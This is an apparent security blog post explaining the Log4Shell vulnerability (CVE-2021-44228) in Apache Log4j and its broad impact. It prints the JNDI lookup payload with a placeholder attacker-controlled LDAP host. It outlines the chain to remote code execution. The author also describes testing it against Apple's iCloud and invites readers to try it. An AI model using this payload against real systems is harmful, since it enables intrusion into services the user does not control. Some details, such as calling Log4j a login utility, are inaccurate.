Critical Zero-Day Vulnerability In Apache Log4j Java-based logging library

Log4j, Log4j, Log4j! The Cyber Security community is buzzing over what they’ve now taken to call Log4Shell (CVE-2021-44228), a critical Zero Day vulnerability found in Apache’s Log4j (Versions 2.14 and earlier), which is an open-source Java-based login utility, found in numerous Java applications world-wide. Log4Shell is a simple to exploit vulnerability and does not demand any complicated technical work on the part of the attacker.

What’s the big deal?

Well, as anyone who has installed Java on their system for whatever purpose, knows by now, “3 Billion Devices Run Java”. This, if we are to take this claim to be true, equates to 3 billion devices vulnerable to Log4Shell. In reality, there are probably well over 3 billion devices running Java at the time of writing this article, over 47% of websites with known servers utilize Apache, which, is aptly dubbed “the most popular web server in existence”.

How can this be exploited?

So, you’ve been seeing the entire buzz surrounding this exploit and you want to try this out yourself? The vulnerability, as mentioned before is relatively simple to exploit and test out in the wild, as I have done in the PoC (Proof of Concept) on Apple’s iCloud👇:

Let’s break this down:

1. User data is sent to the vulnerable Server via any protocol (in the PoC above the LDAP (Lightweight Directory Access Protocol) was utilized).

2. The vulnerable server then logs the request containing the payload: ${jndi:ldap://Lhost/exp}, (The Lhost (Listening host) being a server the attacker has control over, in the PoC above the website DNSlog.cn was utilized to log the DNS requests from the vulnerable server).

3. The vulnerability is then triggered by the payload above (${jndi:ldap://Lhost/exp}) and the vulnerable server requests the attacker-controlled server (Lhost).

4. The payload elicits a response from the vulnerable server; the response contains a vulnerable remote Java class file injected into the Server process, which triggers a second stage that allows the malicious attacker to have RCE (Remote code execution).

What does this mean for the Internet?

Given how ubiquitous this vulnerability is, in the coming days, there will be a race, security teams and developers in one corner, and malicious hackers attempting to gain RCE on as many platforms as they possibly can, in the other. At the time of writing this, malicious hackers are already in the process of utilizing automatic detection and exploitation methods of this vulnerability all over the internet. Sites, services & applications such as Amazon, Apple iCloud, Steam, Minecraft, Linkedin, Twitter, Baidu, Cloudflare as well as** Tesla** smart cars have all been proven to be vulnerable to this exploit.

For a continuously updated list of applications, websites, and services vulnerable to this exploit, I recommend checking out👇:

At the moment security teams and developers alike in several companies are fumbling around trying to patch their vulnerable servers, sending out emails to their vendors and making WAF (Website Application Firewall) rules to try and mitigate the risk of their organization is affected and thus hindering business practices. Safe to say, it is not a comfortable weekend for some techies right now. So if you happen to know any security professionals and/or developers struggling this weekend to patch up their systems, be sure to send them some coffee ☕☕.

Acknowledgments

I would like to thank Ciphertim for his help with the blog and research.

Get Notified whenever I release an article :

Follow me on Twitter: Xtreme Pentesting